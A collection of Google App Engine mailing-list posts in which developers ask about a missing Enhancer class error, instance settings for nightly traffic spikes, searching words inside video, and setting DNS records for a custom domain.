Have you checked the jdk in your project ,I got the same problem because I used the jrocket ,GWT always encounter this problem too 在 2011年2月13日星期日UTC+8下午2时43分52秒，tuco写道： Hi All, As soon as I create a Google Web application project, it immediately reports error: Could not find the main class: com.google.appengine.tools.enhancer.Enhance. Program will exit. In Console- java.lang.NoClassDefFoundError: com/google/appengine/tools/enhancer/ Enhance Caused by: java.lang.ClassNotFoundException: com.google.appengine.tools.enhancer.Enhance at java.net.URLClassLoader$1.run(Unknown Source) at java.security.AccessController.doPrivileged(Native Method) at java.net.URLClassLoader.findClass(Unknown Source) at java.lang.ClassLoader.loadClass(Unknown Source) at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Source) at java.lang.ClassLoader.loadClass(Unknown Source) Exception in thread main I've downloaded latest eclipse - 3.6 and installed GAE plugin 1.4.2 Also, GAE library is referenced in the project. See screenshot http://imageupload.org/?di=1412975794035 I'm new to GAE, pls help. Thanks -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
[google-appengine] How do I determine the number of instances needed settings?
App ID: mybizcentral Version: test This is for production level code. Can you help me determine what Instances settings I should use to avoid deadline exceeded errors? I had the settings set to Automatic, but I just changed the minimum idle instance setting to 1. I will see if having one Resident instance available helps avoid these errors overnight tonight. Every night the application receives thousands of emails, with files attached that need to be parsed and stored in the datastore. So there is an expected spike in traffic overnight. Can you help me with the Instance settings to handle these spikes, but also not sky rocket our hosting costs? I'm seeing Deadline Exceeded Errors: Uncaught exception from servlet com.google.apphosting.runtime.HardDeadlineExceededError: I'm also occassionally seeing Concurrent Modification errors. java.sql.SQLException: Concurrent Modification -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
[google-appengine] Busqueda de palabras dentro de un video
Saludos Tengo Un Problema, Que ya me solicitaron Realizar Una aplicacion Que busque Palabras introducidas Por El usuario, this busqueda sí pretende HACER Dentro De Un Archivo de vídeo Pero No Tengo la idea de hacerlo de Como, Alguien podria orientarme de Como Realizar this aplicacion Gracias -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
[google-appengine] Re: CNAME and TXT record problems with my custom domain
Apparently you only bought the domain without anything else. Now you also need to purchase DNS hosting from somewhere. If mydomain.net doesn't sell that, you can buy that from e.g. enom (www.enom.com) for about $5 / year. You need to set up the name servers of your DNS hosting in the mydomain.net domain panel, and then you are able to create the necessary DNS records in your DNS hosting control panel. On Wednesday, February 27, 2013 8:03:37 PM UTC+2, nethu...@gmail.com wrote: Hello. This is my problem. I've running an application on Google App Engine. A few days ago I registered my custom domain mydomain.net. I've access to domain panel on tucows/opensrs. So, in my app on GAE, I go to Application Settings Add domain. I configured mydomain.net on Google Apps. Now I'm trying to verify ownership of my domain. Google Apps have some alternatives to do this: add a txt record, a cname, upload an html file, add an html tag, and one more if I'm not wrong. Here's the problem. It seems that I can't do anything of that from my domain panel on opensrs. The only thing I can do there is to set up some Name Servers or DNS. I had a conversation with the support team of the company where I registered my domain. They said that I have only the domain name, not a hosting for the domain. So I can't set a cname or txt record. Also said that gae should give me the possibility to set up cname or txt record. I'm very confused. I should talk with App Engine support. But there's no support, so here I am. Any alternative? Any way to link my app with my domain using DNS or name servers? I'll appreciate so much your replies. Sorry for my English. Thanks. -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
